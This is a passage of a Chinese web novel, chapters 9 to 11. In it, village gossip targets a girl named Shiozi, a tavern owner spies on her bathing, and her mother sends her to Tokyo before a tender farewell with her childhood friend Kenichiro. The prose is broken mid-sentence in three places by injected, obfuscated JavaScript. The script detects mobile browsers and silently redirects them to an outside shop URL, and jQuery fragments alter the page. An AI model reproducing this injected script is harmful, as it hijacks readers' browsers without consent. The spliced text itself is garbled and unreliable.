潮子笑了，笑得很开心。 小林在旁边看着这两个人，看着他们之间的那种东西——不需要很多话，一个眼神就够了的默契。他想起自己刚才的想法，突然觉得有点残忍。 但他知道，他没有错。 --- 那天晚上，潮子回到阁楼，换了衣服，把那件深蓝色的连衣裙叠好，放回妈妈的柜子里。 她坐在床上，看着窗外。 月亮很大，照在海面上，亮闪闪的。 她想起今天下午，坐在礁石上，海风吹着脸，阳光照在身上。她闭着眼睛，什么都不想，就那么坐着。很舒服。 她还想起健一郎站在岸边的样子。他站在那里，看着她。那个眼神，她记得。 她把手放在心口，感觉心跳。 一下，一下。 9. 第 9 章 森本英世走了。他走的那天，潮子没有去送。她站在酒肆二楼的阁楼里，从小洞望着那条通往镇子的路，看着那个背着相机包的身影渐渐变小，最后消失在土坡的尽头。她没有觉得难过，只是心里有什么东西被带走了，空落落的，说不上来是什么。 但潮子不知道的是，他走了，却留下了别的东西。 渔村很小。小到谁家晚饭吃了什么，第二天全村都知道。一个东京来的摄影师，在海边给庆子家的女儿拍了一下午照片这种事，是藏不住的。 “听说了吗？庆子家那个丫头，勾搭上东京来的摄影师了。” 村口井台边，几个妇人一边打水一边咬耳朵。 “可不是，在海边待了一下午呢，就他们两个。” “啧啧，有其母必有其女。她妈那个样子，她能好到哪儿去？” “我看啊，过不了几天，她就跟她妈一样了。做些见不得人的勾当。” 一个妇人压低声音：“还有那个健一郎呢。渔夫家那个小子，整天跟她泡在一起，两人小小年纪，谁知道做过些什么。” “可不是。看着老实巴交的，背地里还不知道什么样呢。” 这些话像长了腿一样，从井台跑到村公所，从村公所跑到码头，从码头跑到酒肆。传到最后，已经不知道添了多少油，加了多少醋。 那天下午，健一郎正在码头帮父亲修网。几个和他年纪差不多的少年蹲在旁边的礁石上，其中一个叫阿部的，是村里出了名的碎嘴子。他歪着头看着健一郎，嘴角挂着那种让人不舒服的笑。 “喂，健一郎。” 健一郎没抬头。 “听说你那个小媳妇，跟东京来的男人跑了？” 健一郎的手停了一下，但他没说话，继续修网。 “啧啧，真可惜啊。”阿部摇头晃脑，“长得那么好看，我还想着——” 话没说完，健一郎站起来。他转过身，看着阿部。那眼神让阿部后面的话卡在嗓子眼里，吐不出来。 “你再说一遍。” 声音不大，但每个字都像石头砸在地上。阿部被那眼神吓了一跳，但他不想在同伙面前丢了面子，硬着头皮站起来：“我说你那个小媳妇——唔！” 健一郎的拳头已经砸在他脸上了。阿部往后倒，撞在礁石上，嘴角裂开，血一下子涌出来。旁边几个少年愣住了，然后有人喊：“健一郎打人了！”他们一拥而上。 健一郎没跑。他站在那里，拳头攥得咯咯响。第一个冲上来的人被他一拳打在肚子上，蜷着倒下去。第二个从侧面抱住他的胳膊，他甩开，手肘往后一顶，那人闷哼一声松了手。 但他们人多。有人从后面踹了他一脚，他踉跄了一下，膝盖磕在礁石上，疼得他龇牙。有人按住他的肩膀，他挣开，又有人扑上来。 最后他浑身是伤地坐在码头上，衣服撕破了，嘴角流着血，手背上青一块紫一块。阿部他们也没讨到好，一个个鼻青脸肿地跑了。 健一郎坐在那里，看着自己的手。他慢慢把手攥成拳头，指甲嵌进肉里。 这话也传到了酒肆老板的耳朵里。 老板叫田中信夫，五十出头，在这条街上开了十几年酒肆。他长得不高不矮，不胖不瘦，脸上总挂着笑，说话慢条斯理的，看起来和和气气。但村里人都知道，这人不好惹。他能在这条街上开这么多年酒肆，没点手段是撑不住的。 他看着潮子长大。 从那个瘦得像猫一样的小女孩，到现在这个出落得亭亭玉立的少女。他不知道从什么时候开始，看她的眼神变了。 以前是看一个孩子。现在不是了。 他注意她什么时候起床，什么时候出门，什么时候回来。他注意她穿什么衣服，头发扎起来还是散着。他注意她笑的时候鼻尖那颗痣会跟着动，有着别样的风情。 他甚至注意过健一郎牵着她手走过镇子的样子。那个黑黑的小子，拉着她的手，她低着头，两个人走得很快。他站在二楼窗户后面，看着那两个身影消失在街角，手指攥着窗框，指甲嵌进木头里。 他也看到了那个摄影师在海边给她拍照。他站在远处，看着那个女孩坐在礁石上，光着脚，闭着眼，海风吹着她的头发。那个摄影师围着她转，举着那个黑乎乎的机器，“咔嚓”“咔嚓”地响。 他心里有什么东西在烧。他觉得她不乖了。她不应该让别人拍她。她不应该穿那件裙子坐在礁石上。她不应该被别人看见。她应该——她应该是他的。 这个念头第一次冒出来的时候，他自己也吓了一跳。但他没有把它按下去。它就在那里，像一颗种子，生了根，发了芽，越长越大。 那天晚上，酒肆打烊以后，田中上楼去拿东西。酒肆二楼有几间房，一间是仓库，一间是他自己的卧室，还有一间是洗澡的——酒肆没有热水，女眷要洗澡得上二楼来。 他走上楼梯，拐过弯，就听见了水声。 哗啦，哗啦。水从盆里舀起来，浇在身上，又落回盆里。水声中间，还有少女轻轻的哼歌声，调子断断续续的，听不清是什么歌，但软软的，糯糯的，像什么东西挠在心口上。 他站在那间房门口。 门关着，但门板很薄，上面还有一道缝。他知道他不应该看。他的手抬起来，又放下。他站在那里，一动不动，像一截木头。 水声还在响。哗啦，哗啦。他听见水从她肩膀流下来的声音，听见她用手撩起头发的声音，听见她轻轻叹一口气的声音。他的脑子里全是画面——他没见过，但他能看见。那些画面像火一样烧着他，烧得他口干舌燥，烧得他攥紧拳头，指甲嵌进掌心。 他不知道站了多久。 “田中先生？” 一个声音从身后传来，像一把刀劈开黑暗。他猛地转过头。 庆子站在楼梯口，手里端着一盆脏衣服。她看着他的眼神，让他知道她什么都看见了——她看见他站在女儿浴室门口，看见他的脸，看见他的眼睛。 他的眼睛里有什么东西。那东西让庆子的心脏猛地缩紧了，像被一只手攥住，疼得她喘不上气。那是欲望。赤裸裸的、不加掩饰的欲望。那眼神直直地插进她的胸口，让她整个人僵在那里。 “我上来拿东西。”田中说了什么，声音哑得像砂纸磨过木头。 他没等她回答，从她身边走过去，下了楼。 庆子站在那里，手里的盆差点掉在地上。她听见自己心跳的声音，咚，咚，咚，像有人在砸门。她慢慢走到浴室门口，推开门。 潮子已经洗完了，正在穿衣服。她背对着门，头发湿漉漉地搭在肩上，水珠从发梢滴下来，落在锁骨上，顺着往下流。她的肩膀很瘦，蝴蝶骨的形状从皮肤下面透出来，像要破茧而出的翅膀。 “妈？”潮子听见动静，回过头来。 庆子看见她的脸。 水汽还没散，雾气蒙在她脸上，让她的五官显得格外柔和。眼睛被水汽润湿了，亮亮的，像雨后的海面。睫毛上还挂着水珠，一眨，水珠掉下来，顺着脸颊往下滚。鼻尖上那颗痣沾了水，在昏黄的灯光下像一颗小小的琥珀。她刚洗完澡，皮肤泛着淡淡的粉，像贝壳的内壁，润润的，光光的。 她很美。是那种安安静静的、从骨子里透出来的美。像海边的月亮，不高不低地挂在那里，你不抬头看也知道它在。 庆子看着她，眼泪突然就掉下来了。 “妈？你怎么了？”潮子走过来，伸手摸她的脸，“妈，你怎么哭了？” 庆子摇摇头，把她搂进怀里。潮子的头发湿湿的，蹭在她脸上，凉凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486544|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。她抱着她，抱得很紧，像小时候那样。她感觉到潮子的心跳，一下，一下，稳得很。 她想起潮子小时候，那么小，那么瘦，像一只猫。她打她，骂她，揪她的耳朵，扇她的耳光。她以为她不在乎。她以为她恨她。但现在她抱着她，才知道——她怕。她怕失去她。她怕那些男人用那种眼神看她。她怕自己保护不了她。 “妈，你到底怎么了？”潮子的声音从她肩膀上传过来，闷闷的。 “没事。”庆子松开她，擦了擦眼泪，“去睡吧。” 潮子看着她，想说什么，但没说出来。她点点头，走回阁楼。 庆子站在那里，听着她上楼的脚步声。脚步声很轻，一步一步，像踩在她心口上。她在心里数着那些脚步声，等门关上的声音传来，她才慢慢蹲下来，蹲在走廊里，抱着自己的膝盖。 她想起那个东京来的摄影师。想起他递过来的那张名片。她站起来，走进自己的房间，翻箱倒柜地找。衣服，旧衣服，更旧的衣服。压在箱子最底下，和那件深蓝色连衣裙放在一起的那张纸片。 她找到了。 “森本英世”“摄影师”“东京都”“电话：03-XXXX”。 她握着那张名片，手指在发抖。 她不知道东京是什么样子。她这辈子最远只去过镇里。她不知道“摄影师”是干什么的。她不知道这张名片能不能帮她。但她握着它，像握着救命稻草。 她抬起头，看着窗外。月亮挂在海面上，亮亮的，远远的。 她把名片攥在手心里，攥得很紧，很紧。 阁楼里，潮子已经睡着了。 月光从小洞里照进来，照在她脸上。她的睫毛在脸上投下淡淡的影子，鼻尖那颗痣安静地待在原地。她的呼吸很轻很匀，胸口微微起伏着，像海浪，一下，一下。 她不知道楼下那个男人站在她浴室门口，用那种眼神看着门板。她不知道妈妈找到了一张名片，攥在手心里，一整夜没有松开。她不知道村子里那些话，像潮水一样，正在漫过来，把她围住。 她只是睡着了。 安稳地，平静地，什么都不知道地睡着了。 海浪的声音从远处传来，一下，一下。 像这个世界的呼吸。 庆子站在窗边，看着女儿安详的睡颜。她的睫毛很长，像两把小扇子，在月光下投出淡淡的影子。鼻尖那颗痣安静地待在原地，像一颗小小的星。她的嘴唇微微张着，露出一点点牙齿，呼吸很轻很匀。 庆子想起她小时候也是这样睡的。那时候她很小，睡在这张床上，被子比人还大。庆子半夜爬起来看她，怕她踢被子，怕她着凉。那时候她就想，这孩子，长大了会是什么样呢？现在她知道了。 她长得比自己好看。比她见过的所有人都好看。她的好看不是那种让人不舒服的好看，是那种你看了还想看、越看越觉得好的好看。像海，你看第一眼觉得好看，看一百眼还是觉得好看。 但好看有什么好？好看是祸。 庆子把名片放在枕头底下，躺下来，搂着潮子。潮子在睡梦里动了动，往她怀里缩了缩，像小时候一样。 庆子的眼泪又掉下来了。她咬着嘴唇，不让自己发出声音。 她不能让她留在这里。这里会把她吃掉。那些男人的眼睛，那些女人的嘴，那个站在她浴室门口的田中——都会把她吃掉。 她得送她走。送到东京去。送到那个摄影师那里去。 她不知道东京是不是好地方。但再坏，也不会比这里坏了。 窗外，月亮慢慢移到海面正中间，把海水照得亮亮的。海浪一下一下地拍着沙滩，像这个渔村的呼吸，也像这个世界的叹息。 庆子闭上眼睛。手心里的名片，被她的体温捂热了。 10. 第 10 章 电话接通的那一刻，庆子的心提到了嗓子眼。 邮局的电话间很小，木板隔出来的，只能容一个人转身。她站在里面，握着那个黑色的话筒，手在抖。拨号盘上的数字她已经背了无数遍——那张名片被她从枕头底下拿出来又放进去，放进去又拿出来，边角都磨毛了。 “喂？” 是森本的声音。从听筒里传出来，遥远得像另一个世界。 “喂？”他又说了一遍。 庆子的嘴张了张，发不出声音。她握着话筒，指甲嵌进掌心里。 “哪位？” “我……”她的声音哑得像砂纸磨过木头，“我是潮子的妈妈。海边那个酒肆的。” 电话那头沉默了一会儿。 “潮子怎么了？” “没怎么。”庆子说。她顿了顿，咬了咬牙，“我想问问你，上次你说的话，还算不算数？” “什么话？” “你说她不该在那里。你说她应该去东京。” 电话那头又沉默了。庆子听见自己的心跳声，咚，咚，咚，像有人在砸门。她想起那天晚上田中的眼神，想起他站在浴室门口的样子，想起那个眼神像刀子一样插进她胸口的感觉。她的手指攥得更紧了。 “算数。”森本说。 庆子的眼泪掉下来了。她咬着嘴唇，不让哭声传过去。 “我送她去。”她说，声音在抖，“求你……帮帮她。” “好。”森本的声音很稳，“我来安排。让她来东京，我帮她找住的地方，帮她联系学校。” “谢谢……谢谢您。” “不用谢。”森本顿了顿，“潮子……她愿意来吗？” 庆子愣了一下。 “她会愿意的。”她说，声音低下去，“她必须愿意。” 挂掉电话，她在邮局门口站了很久。天已经黑了，街灯亮着，昏黄的光照在她脸上。她把那张名片攥在手心里，攥得紧紧的，像攥着一条命。 潮子回来的时候，天已经黑了。 她今天和健一郎在海边待了一下午。他什么话都没说，就坐在礁石上看着她。她问他怎么了，他说没什么。但她知道他有心事。从码头打架那天起，他就变得沉默了，比以前还沉默。她问他疼不疼，他摇摇头。她拉过他的手看，手背上的伤结了痂，黑红黑红的，像一道裂开的口子。 “以后别打架了。”她说。 他没回答。 “听见没有？” “嗯。” 她松开他的手，看着海。夕阳把海面染成金色，又染成红色，最后变成灰色。她坐在那里，靠着他，两个人谁也没说话。 回来的路上，她心里就不踏实。说不上来是什么，就是觉得有什么事要发生。 她推开酒肆的门。还没到营业时间，屋里空荡荡的，只有庆子坐在柜台后面。 “妈，我回来了。” 庆子抬起头，看着她。那眼神让潮子愣了一下——不是平时那种又冷又硬的眼神，一种悲伤笼罩在她身上，她第一次见到妈妈这样。 “过来。”庆子说。 潮子走过去。 “坐下。” 潮子在她对面坐下。 庆子看着她，细细地描摹女儿的容貌，她长得像那个抛弃自己的男人。她知道潮子越长大越漂亮，这种漂亮是从骨子里透出来的味道，生在这里就是罪孽。 被妈妈看了很久，好像要刻进心里，久到潮子有点不安。 “妈，怎么了？” “你去东京。” 潮子愣住了。 “什么？” “去东京。”庆子的声音很平，像在说今天晚饭吃什么，“我联系了那个摄影师。森本先生。他说会帮你安排。” 潮子坐在那里，看着母亲。她张了张嘴，想说什么，又不知道该说什么。 “为什么要我走？” 庆子没回答。 “妈，你说话啊。为什么要我走？” “你不想走？”庆子的声音突然尖起来，“你还想守着那个黑小子过一辈子吗？” 潮子的脸白了一下。 “去东京才能认识更多的人。”庆子的声音低下去，像是在说服自己，“有钱人，有本事的人。妈妈想让你出人头地，你知道吗？” 潮子没说话。 “森本先生说会帮你联系住处。”庆子站起来，走到柜子前面，从最底下翻出一个布包，打开，里面是一叠钱。皱巴巴的，厚厚一叠。她数了数，分成两份，一份塞回柜子底下，一份推过来。 “这是妈妈存的一点钱。你先拿着。” 潮子看着那叠钱。一元的，五元的，十元的。皱的，旧的，边角都磨毛了。她想起这些钱是怎么来的——是妈妈陪酒陪出来的，是被那些男人摸一下手、捏一下脸换来的，是深夜里数着一张一张存下来的。 “钱你留着。”潮子说，声音很轻。 庆子看着她。 “我不要走。” 庆子愣住了。她看着潮子，看着那双又亮又倔的眼睛。她看了几秒钟，然后扑上来。 “你想让我死吗？！” 她的拳头落在潮子肩上，背上。一下，两下，三下。不是打，是砸。砸得潮子往后退了一步。 “你想和我一起死在这吗！” 声音撕开了，像布帛被扯碎的声音。潮子从来没见过母亲这个样子。她见过她打人，见过她骂人，见过她喝完酒抱着自己哭。但她没见过她这样——眼睛红着，头发散着，声音尖得不像人声。 “让你去东京闯一闯——” 一巴掌落在潮子肩上。 “等你有出息了——” 又一巴掌。 “才能把我也带出去！” 潮子站在那里，没有躲。她看着母亲，看着她眼角的皱纹，看着她干裂的嘴唇，看着她散落的头发里那些白丝。她眼泪掉下来。 这个女人，这辈子受了多少委屈？被人骂，被人看不起，被那个姓田中的用那种眼神看。她活得像一条被浪打翻的船，在水里漂了半辈子，没沉下去，但也没上岸。 要不是因为拉扯她，她应该会过得比现在幸福。 潮子的鼻子酸了。 “你走——你走啊——！” 庆子的声音变成了哭喊。她还在打，但拳头越来越轻，越来越软，最后变成了推，变成了拍，变成了抓。 潮子一把抱住她的腰。 “我知道了。” 她的声音闷在母亲的衣襟里。 “我走。” 庆子停住了。她的手悬在半空，慢慢放下来，落在潮子的头发上。 “我走。”潮子又说了一遍，声音在抖，但她咬着牙不让自己哭出来，“我走。” 庆子站在那里，抱着她，眼泪一滴一滴地落下来，落在潮子的头发上，落在她的肩上，落在她的手背上。她张了张嘴，想说什么，但什么都没说出来。 潮子跪坐在地上，抱着母亲的腰，脸埋在她的衣服里。她闻到她身上的味道——酒味，烟味， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486545|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有一点点肥皂的香味。那是她从小就闻惯的味道。她以为她会闻一辈子。 “妈。” “嗯。” “等我出息了，我来接你。” 庆子的手在她头发上停了一下，然后继续摸着，一下，一下，像潮子小时候那样。 “好。”她说，声音哑得像砂纸。 窗外，天已经全黑了。海浪的声音从远处传来，一下，一下。 潮子跪在那里，抱着母亲，闭上眼睛。 她不知道东京在哪里。不知道那里有没有海，有没有海浪的声音。她只知道，她要走了。离开这片海，离开这间酒肆，离开这个把她养大的女人。 她不敢睁眼。怕一睁眼，眼泪就掉下来了。 庆子摸着她的头发，摸着她瘦瘦的肩胛骨，摸着她细细的手臂。她的手从潮子的头发上滑下来，落在她的背上，拍着，一下，一下。 “去收拾东西。”她说。 潮子慢慢松开手，站起来。她看了母亲一眼，然后转身，往楼梯那边走。 走到楼梯口，她停下来。 “妈。” “嗯。” “我走了，你怎么办？” 庆子没说话。 潮子回过头，看着她。 庆子站在柜台后面，昏黄的灯光照在她脸上。她的眼睛红红的，脸上还有泪痕，但她笑了一下。那种笑，潮子没见过——不是酒肆里的笑，是真的在笑。 “妈有手有脚，饿不死。” 潮子站在那里，看着她。 “去吧。”庆子挥挥手，“去收拾东西。” 潮子转过身，走上楼梯。她的脚踩在木板上，发出“吱呀吱呀”的声音。那声音她听了十几年，从五岁听到现在。今天听起来，格外响。 庆子站在那里，听着那脚步声一步一步往上走，一步一步远去。 窗外，月亮从云层后面探出来，照在海面上，亮晃晃的。她看着那片海，看了很久。 然后她转过身，开始擦杯子。 动作很慢，一下，一下。和平时一样。 阁楼里，潮子坐在床上，看着自己那点东西。 课本，作业本，一支快写完的铅笔。那件深蓝色的连衣裙，叠得整整齐齐，放在枕头旁边。还有几件换洗的衣服，都是旧的，洗得发白的。还有那个贝壳，白色的，有粉色纹路的，健一郎在礁石缝里找到的那个。 她拿起贝壳，放在手心里。 很小，很轻，有点凉。 她想起健一郎递给她的那天，他的手也是黑的，糙的，指甲缝里有泥。他把贝壳放在她手心里，说“这个好看，给你”。 她把贝壳攥在手心里，攥得很紧。 楼下传来母亲走路的声音，一下，一下，从柜台走到厨房，从厨房走到柜台。 潮子把贝壳放在枕头底下，躺下来。 她看着头顶那片黑漆漆的屋顶。那个小洞里，有月光透进来，照在墙上，白白的一小片。 她明天要告诉他。她要走了。 她不知道他听了会说什么。她不知道他会不会生气。她不知道他会不会等。 她把被子拉过来，蒙住头。 被子很旧，有霉味，但暖。她缩在里面，像小时候那样。 她想起五岁那年，妈妈揪着她的耳朵说“晒得像黑鬼一样将来谁要你”。她想起健一郎张开胳膊挡在她面前说“把小潮嫁给我吧”。她想起那盏灯笼，在草窝里晃着，亮着。 她把被子裹紧了一点。 11. 第 11 章 那天下午，潮子去找健一郎的时候，天阴着。 她站在他家门口，那个低矮的、被海风吹得发白的木房子。门开着，里面黑漆漆的，有一股咸鱼和旧木头混在一起的味道。健一郎的父亲不在，出海了。他一个人坐在门槛上，正在补一张破渔网。 “健一郎。” 他抬起头，看着她。那双眼睛还是那么亮，但里面有什么东西沉下去了，沉得很深。 “走。”她说。 他没问去哪儿。站起来，拍了拍裤子上的灰，跟着她走。 他们沿着那条走了无数遍的小路，走过村公所，走过那棵歪脖子老树，走过那片稻田。稻子已经收割了，只剩下一茬一茬的茬子，干巴巴地戳在地里。天阴着，云压得很低，海风把她的头发吹起来，又落下去。 他们走到铁轨边上。 那条铁轨，从镇子那头伸过来，穿过田野，穿过山脚，一直伸到很远很远的地方。他们小时候常来这儿。等着火车从远处开过来，越来越近，越来越响，脚下的石子开始震动。然后在火车冲过来的那一刻，从铁轨上跳出来。 那时候他们不怕。什么都不怕。 潮子踩上铁轨，张开胳膊，像走平衡木一样往前走。铁轨很窄，她的脚步不太稳，晃了一下，又站稳了。 健一郎跟在她后面，没踩铁轨，就走在石子路上，看着她。 “你还记不记得，”潮子头也不回，“小时候我们在这儿等火车，你拉着我的手。” “记得。” “你那时候说，‘别怕’。” “嗯。” “其实我一点都不怕。”潮子回过头，笑了一下，“我就是想让你拉着我。” 健一郎没说话。 远处传来火车的汽笛声。呜呜的，闷闷的，被风送过来。 潮子从铁轨上跳下来，站在他旁边。两个人都看着远处——铁轨尽头，一个绿色的小点正在变大。 火车来了。 那是一种老式的柴油机车，绿色的车身，窗户开着一半，有人在里面抽烟，有人在看报纸。它越来越近，越来越响，脚下的石子开始跳。 潮子站在铁轨上，没动。 “潮子！”健一郎喊了一声。 她还是没动。 火车越来越近，风已经开始扑过来了。她的头发被吹起来，那件旧校服的裙摆也被吹起来，猎猎地响。 “潮子——！” 她在火车冲过来的最后一刹那，从铁轨上跳出来。 火车从他们身边冲过去，轰隆隆的，带起一阵狂风。风吹着她的头发，吹着她的裙子，吹着她整个人往后仰了一下。她站在那里，看着火车远去的背影，看着那个绿色的小点越来越小，最后消失在天边。 然后她笑了。 是那种很真的笑，不是抿着嘴的，是露出白牙的、眼睛弯成月牙的、整个人都在发光的笑。她笑起来的时候，鼻尖那颗痣跟着动，像一颗会跳舞的小黑豆。 健一郎看着她，心里有什么东西被揪了一下。 他喜欢她这样笑。不是那种忍着的、收着的、怕被人看见的笑，是肆意的、张扬的、什么都不管的笑。像海，平时安安静静的，但浪打上来的时候，能把一切都卷走。 她转过头看着他，还在笑。 “走！”她拉起他的手，往前跑。 他们跑过铁轨，跑过那片收割完的稻田，跑过那排光秃秃的树。天更阴了，风更大了，有雨点落下来，一滴，两滴，砸在脸上凉凉的。 “要下雨了！”健一郎喊。 “前面有个屋子！” 他们跑进那个废弃的小屋。是以前农民放农具用的，木头搭的，屋顶缺了几块瓦，墙缝里透着光。地上堆着一垛干草，是去年剩下的，已经发黄了，但还是干的。 他们刚跑进去，雨就下来了。 哗啦啦的，像有人在天上泼水。雨点打在屋顶上，打在瓦片上，打在墙外的草叶上，响成一片。 潮子站在门口，看着外面的雨。她的头发湿了，一缕一缕地贴在脸上。校服也湿了，肩头那一块颜色深下去，贴在皮肤上。她回过头，看着健一郎。 他站在她身后，也在看她。 她伸出手，圈住他的脖子。 她的手臂很细，圈在他晒得黑黑的脖子上，像两根藤缠在树干上。她的脸离他很近，他能看见她睫毛上的水珠，能看见她鼻尖那颗痣上沾的一小片草叶，能看见她嘴唇上细细的纹路。 她吻了他。 轻轻的，软软的，像小时候海浪舔上沙滩的感觉。她的嘴唇有点凉，带着雨水和海水混在一起的味道。 健一郎的手抬起来，放在她腰上。他把她往自己这边带了带，然后加深了这个吻。不是刚才那种轻轻的了，是带着这些天所有东西的——那些闲话，那场架，那个码头上的黄昏。他把那些东西都压进这个吻里，压得她往后退了一步，背靠在门框上。 雨还在下。哗啦啦的，把他们说话的声音都盖住了。 潮子松开他，抬起头。她的眼睛很亮，雨水从她额头上流下来，顺着脸颊往下滚，分不清是雨还是别的什么。 “健一郎。” “嗯。” “我要走了。” 他的身体僵住了。 “去哪儿？”声音突然变了，像一根绷紧的弦。 “东京。” 健一郎站在那里，看着她。 “我妈联系了森本先生。”潮子的声音很轻，“他帮我安排了住的地方，还有上学的地方。我妈说……让我去东京闯一闯。” 健一郎没说话。 雨还在下。打在屋顶上，打在瓦片上，打在墙上。他站在那里，像一棵被雷劈过的树，僵着，硬着，一动不动。 她终究还是要走。 他早就知道。从那个东京来的摄影师给她拍照那天起，他就知道。她不属于这里。她不属于这片海，这间酒肆，这条铁轨。她应该去更大的地方，被更多的人看见。他留不住她。从来都留不住。 “健一郎？” 他回过神来。她正看着他，那双大眼睛里有不安，有愧疚，有怕他生气的担心。 他笑了一下。笑得很勉强，嘴角扯了一下就收回去了。 “你要照顾好自己。”他说。 潮子愣了一下。 “东京那么远，没人照顾你。”他的声音很低，像在跟自己说话，“你这个人，受伤了也不说，疼了也不哭。到了那边，谁帮你擦药？” 潮子的鼻子酸了。 “如果——” 他顿了顿。 “如果哪一天，你在东京遇到困难了，就回来。” 他看着她的眼睛。 潮子站在那里，看着这个男孩。她想起五岁那年，他张开胳膊挡在她面前，说“把小潮嫁给我吧”。她想起她被人欺负的时候，他攥着拳头去找那些人算账。她想起她被打的那个晚上，他提着灯笼等在草窝里。她想起他说“我信你”，说“你没拿”，说“我知道”。 这些年，一直都是他。被欺负的时候，是他挡在前面。受伤的时候，是他擦药。难过的时候，是他陪着。他从来没说过什么好听的话，没做过什么漂亮的事。他就是站在那里，像一块礁石，浪打过来，他不躲，也不退。 她怎能不喜欢他呢？ 她伸出手，捧起他的脸。他的脸很硬，颧骨高，下巴方，被海风吹得黑黑的，糙糙的。她的手指摸过他的眉毛，摸过他的眼睛，摸过他的鼻子，摸过他的嘴唇。 然后她踮起脚，吻他。 不是刚才那种轻轻的吻了。是疯狂的，是急切的，是把这些年的东西全都倒出来的。她吻着他的嘴唇，他的下巴，他的脸颊，他额头上那道疤。她吻得不管不顾。 她推着他往后退。他退了一步，又退了一步，小腿碰到那垛干草，两个人一起跌进草垛里。 干草被压下去，发出窸窸窣窣的声音。她的头发散在草上，黑的，黄的，混在一起。她的眼睛闭着，睫毛在抖，嘴唇微微张着，喘着气。 健一郎撑起手臂，低头看着她。 她的脸很红，不是害羞的红，是那种被雨水打过的、被风吹过的、活生生的红。雨水从她额头上流下来，顺着太阳穴流进头发里。她的睫毛上还挂着水珠，一颤一颤的。鼻尖那颗痣沾了草屑，她也不管。她的嘴唇因为刚才的吻有点肿，微微张着，露出一点点牙齿。 她整个人躺在那里，像一朵被雨打过的花，花瓣湿了，叶子歪了，但还是那么好看。不是画里那种规规矩矩的好看，是活的、野的、不讲道理的好看。 健一郎看着她，胸口剧烈地起伏着。 他的手撑在她头两边，手指攥着干草，攥得指节发白。他低下头，额头抵在她额头上。她的额头滚烫，他的也是。 “潮子。”他的声音哑得不像自己的。 她睁开眼睛，看着他。 “不可以。” 她的眼睛动了一下。 “现在不可以。” 他的声音在抖，但他一个字一个字说得很清楚。他把撑在她旁边的手收回来，翻了个身，躺在她旁边。 干草被压出一个人形的坑。他躺在那里，大口大口地喘气，眼睛盯着头顶那片破破烂烂的屋顶。雨从瓦片的缺口里飘进来，落在他的脸上，凉凉的。 他伸出手，把她脸上那缕湿漉漉的头发拨开。她的脸露出来了——小小的，鼻尖那颗痣像一粒小小的种子。他用手指把那片草屑轻轻捻掉。 “你要去东京。”他说，声音慢慢平下来，“实现你的梦想。那就去吧。” 潮子侧过头，看着他。 他把她的样子刻进眼睛里。 那双眼睛，又亮又倔的。睫毛很长，湿了之后粘在一起，一绺一绺的。鼻尖那颗痣，长在左边，离鼻孔很近，笑起来的时候会跟着动。嘴唇上面有一颗很小的痣，不仔细看根本看不出来。她的眉毛不是那种细细弯弯的，是有点浓的，有点野的，像海边的草，怎么长都长不规矩。 她的脸，他看了十几年。闭着眼睛都能画出来。但他还是想再看一眼，再多看一眼。 “潮子。” “嗯。” “到了东京，好好读书。” “嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486546|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别跟人打架。” 她笑了一下。 “有人欺负你，别忍着。” 她没说话。 “还有——” 他顿了顿。 “别忘了我。” 潮子侧过身，把脸埋在他肩膀上。她的眼泪终于掉下来了，一滴，两滴，热热的，落在他脖子上，顺着往下流。她没有出声，只是埋在那里，抖着，像那艘小木船在海浪里晃。 健一郎伸出手，搂住她。他的手臂很沉，很重，像铁一样箍在她身上。他把她往自己这边带了带，下巴搁在她头顶上。 雨还在下。打在屋顶上，打在墙上，打在窗外的草叶上。哗啦啦的，把他们两个人的呼吸都盖住了。 过了很久，潮子的声音从他肩膀上传过来，闷闷的。 “健一郎。” “嗯。” “你会等我吗？” 他没回答。 他把她搂得更紧了。紧得她有点喘不过气。 “健一郎？” “嗯。” “你说话呀。” 他沉默了一会儿。 “潮子。” “嗯。” “你记不记得，小时候我奶奶说，我命硬。” “记得。” “命硬的人，要护着命软的人。” 她把脸从他肩膀上抬起来，看着他。 他也在看她。 “你命不硬。”他说，“但我护着你。” 她想，她已经知道了答案。 雨小了一点。从哗啦啦变成了淅沥沥，从淅沥沥变成了滴滴答答。天边有一块云散了，露出一小片蓝色的天。 他们躺在那垛干草上，肩挨着肩，谁也没说话。她的手在他手心里，他的手攥着她的手，攥得很紧。 外面的铁轨上，又一列火车开过去了。轰隆隆的，越来越远，最后听不见了。 潮子闭上眼睛。 她听见海浪的声音，从很远的地方传来，一下，一下。 健一郎也听见了。 他没说话，只是看着屋顶那片破破烂烂的瓦片，看着雨水从缺口里一滴滴地落下来。 他把她往自己这边拉了拉，让她的头靠在他肩膀上。 她没动。他也没动。 他们就那么躺着，听着雨声，听着风声，听着远处那片海。 过了很久，雨停了。 